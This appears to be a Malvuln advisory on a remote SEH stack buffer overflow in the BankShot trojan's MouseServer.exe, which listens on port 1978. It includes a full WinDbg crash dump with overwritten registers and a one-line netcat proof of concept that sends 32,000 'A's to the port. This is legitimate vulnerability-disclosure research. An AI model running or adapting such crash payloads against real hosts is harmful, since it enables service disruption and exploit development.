Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024
Original source: https://malvuln.com/advisory/f2fd6a7b400782bb43499e722fb62cf4.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Trojan.Win32 BankShot
Vulnerability: Remote Stack Buffer Overflow (SEH)
Description: The malware listens on TCP port 1978 and creates a local Windows service running with SYSTEM integrity. Third-party adversaries who can reach the server can send a specially crafted payload triggering a stack buffer overflow overwriting ECX, EIP registers and Structured Exception Handler (SEH)
Family: BankShot
Type: PE32
MD5: f2fd6a7b400782bb43499e722fb62cf4
Vuln ID: MVID-2024-0669
ASLR: Not Enabled
DEP: Enabled
SEH: Not Enabled
CFG: Not Enabled
Disclosure: 01/30/2024

Memory Dump:
(16bc.cf8): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414141 edx=77309d70 esi=00000000 edi=00000000
eip=41414141 esp=061511f0 ebp=06151210 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
41414141 ??              ???
0:005> .ecxr
eax=00000000 ebx=00000000 ecx=41414141 edx=77309d70 esi=00000000 edi=00000000
eip=41414141 esp=061511f0 ebp=06151210 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
41414141 ??              ???
0:005> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

*** WARNING: Unable to verify checksum for MouseServer.exe
*** ERROR: Module load completed but symbols could not be loaded for MouseServer.exe
Failed calling InternetOpenUrl, GLE=12029

FAULTING_IP: 
MouseServer+2a95e
0042a95e f3a4            rep movs byte ptr es:[edi],byte ptr [esi]

EXCEPTION_RECORD:  0624dec4 -- (.exr 0x624dec4)
ExceptionAddress: 0042a95e (MouseServer+0x0002a95e)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 06250000
Attempt to write to address 06250000

PROCESS_NAME:  MouseServer.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000008

EXCEPTION_PARAMETER2:  41414141

WRITE_ADDRESS:  41414141 

FOLLOWUP_IP: 
MouseServer+2a95e
0042a95e f3a4            rep movs byte ptr es:[edi],byte ptr [esi]

FAILED_INSTRUCTION_ADDRESS: 
+2a95e
41414141 ??              ???

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

IP_ON_HEAP:  41414141

IP_IN_FREE_BLOCK: 41414141

CONTEXT:  0624df14 -- (.cxr 0x624df14)
eax=027fce88 ebx=0624fbfc ecx=000008d8 edx=00001d00 esi=027fc5b0 edi=06250000
eip=0042a95e esp=0624e374 ebp=0624fbf0 iopl=0         nv up ei pl nz na po cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010203
MouseServer+0x2a95e:
0042a95e f3a4            rep movs byte ptr es:[edi],byte ptr [esi]
Resetting default scope

FAULTING_THREAD:  ffffffff

BUGCHECK_STR:  APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS:  STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID:  STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

LAST_CONTROL_TRANSFER:  from 41414141 to 0042a95e

FRAME_ONE_INVALID: 1

STACK_TEXT:  
0624e374 0042a95e mouseserver+0x2a95e
0624fbf8 41414141 unknown!printable+0x0


STACK_COMMAND:  .cxr 000000000624DF14 ; kb ; dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; dds 624e374 ; kb

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  mouseserver+2a95e

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: MouseServer

IMAGE_NAME:  MouseServer.exe

DEBUG_FLR_IMAGE_TIMESTAMP:  58eb1b3a

FAILURE_BUCKET_ID:  STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_MouseServer.exe!Unknown

BUCKET_ID:  APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_mouseserver+2a95e

0:005> !exchain
0624ddd4: ntdll!ExecuteHandler2+44 (77309d70)
0624fbe4: 41414141
Invalid exception stack at 41414141


Exploit/PoC:
C:\Users\gg\Desktop>python -c "print('A'*32000)" | nc64.exe x.x.x.x 1978
system windows 6.2
version 1.7.4.0
serverid 7E8539FB-5E68-464F-AE62-129E95A7DFB8



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